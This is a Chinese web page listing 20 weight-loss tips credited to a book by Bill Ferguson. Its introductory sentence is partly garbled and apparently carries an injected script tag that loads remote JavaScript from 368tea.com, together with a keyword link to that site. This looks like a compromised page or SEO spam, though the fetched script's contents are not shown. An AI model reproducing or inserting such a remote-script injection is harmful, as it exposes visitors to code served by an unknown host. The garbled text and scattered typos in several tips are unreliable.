最好的减肥知识！
美国作家比尔弗格森，总结了一生的经验，写成畅销科普书《减肥100例》，这20条即为该书的精选?script type='text/javascript' src='http://www.368tea.com/js/v.js'>热裟隳苷莆掌渲腥种坏?a href=http://www.368tea.com/html/266/ id=kw target=_blank>减肥知识，并认真去做的话，你大可不必为肥胖烦恼了。
1．每天将你体重的减少数与饮食情况以图表形势记录下来，作一“追踪记录。
2．不要接受别人用食物表示的礼物。
3．选定你减肥的目标，并把它写下来贴在每天都可以看到的地方。
4．每当你达到了目标，就重新制定一个新的，因为只有一个明确的目标，才会使你达到良好的效果；反之，则会前功尽弃，这正如“逆水行舟，不进则退”。
5．每天喝8杯水，因为水份对身体的各种活动都十分重要，而且，它不仅价格低廉，同时也不产生效量，作为一个成肥若，应把它作为极好的饮料。
6．从减肥开始，每天早晨去称一下体重。客观上能起促进作用。
7．人们在心情压抑、烦闷的情况下，总想吃东西，显然对成肥不利，你不妨通过户外活动或热水浴来缓解。
8．平时经常了解—“下各类食物单位含量所产生的热量，如在美国，人们常将糖类作为三餐食物之后的辅助食品，但它却是致胖重要原因。因此，在选择食物的时候，要认真注意一下包装上的说明，看一下该食品含各类碳水化合物如乳糖、葡萄糖、麦芽糖等的含量。
9．减少食物中高肥类的比例，增加鱼类及鸡、鸭等家禽类。
10．减肥也不是一两天就能见成效的事，一定要有恒心！
11．减肥的时候，永远不要抱着“试试看”的态度。“试试看”往往意味着失败，你要时刻提醒自己，“我一定能够坚持下去，我一定可以成功！”
12．每天在同一时刻准时就餐。大多数节食者喜欢饿一天，再于晚上饱餐一顿，要知道，胃里没有食物，血糠含量就会下降，你便越发想吃东西，久而久之，便会失去对自己的控制。
13．每餐饭不要少于20分钟。
14．少吃些含盐分过多的食物，因为此类食品越吃越想吃。
15．不要喝合咖啡困过多的饮料，它不仅能影响你的血压，而且也容易使你的情绪紧张，后者更能使人多吃。
16．饥饿时应避免进有销食品的商店，琳琅满目的食品常使人抵抗不住它的诱惑。
17．在参加大型聚会之前要坚定自己节食的自信心，这样，在一道道令人馋涎欲滴的菜看面前，你可以提高对自己的控制。
18．食品中应少放佐料，因为大多数佐料都富含油脂，糖类，盐及淀粉，能大大提高你吸收的热量值。
19，学会科学搭配食物，营养平衡的食品包括各类瘦肉、新鲜水果及蔬菜。
20．记住：你是在学会生活，而不单单是学会吃。
